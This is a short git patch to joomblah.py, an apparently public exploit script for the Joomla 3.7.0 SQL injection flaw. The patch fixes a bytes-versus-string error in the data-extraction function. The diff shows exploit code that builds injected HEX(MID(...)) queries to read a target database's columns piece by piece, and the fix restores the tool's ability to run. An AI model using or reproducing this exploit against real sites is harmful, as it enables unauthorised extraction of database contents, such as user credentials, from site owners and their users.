From f5116e68c9fb2f96a328de448f3eee6f5549608f Mon Sep 17 00:00:00 2001 From: Davy Leonardo <88287213+leodayv@users.noreply.github.com> Date: Fri, 6 Oct 2023 16:56:56 -0300 Subject: [PATCH] Update joomblah.py Fix concatenation error --- Joomblah/joomblah.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Joomblah/joomblah.py b/Joomblah/joomblah.py index 3a40d1d..809dc0b 100644 --- a/Joomblah/joomblah.py +++ b/Joomblah/joomblah.py @@ -35,7 +35,7 @@ def joomla_370_sqli_extract(options, sess, token, colname, morequery): length = int(length) maxbytes = 30 offset = 0 - result = '' + result = b'' while length > offset: sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery) value = joomla_370_sqli(options, sess, token, sqli) @@ -45,7 +45,7 @@ def joomla_370_sqli_extract(options, sess, token, colname, morequery): value = binascii.unhexlify(value) result += value offset += len(value) - return result + return result.decode('utf-8') def joomla_370_sqli(options, sess, token, sqli):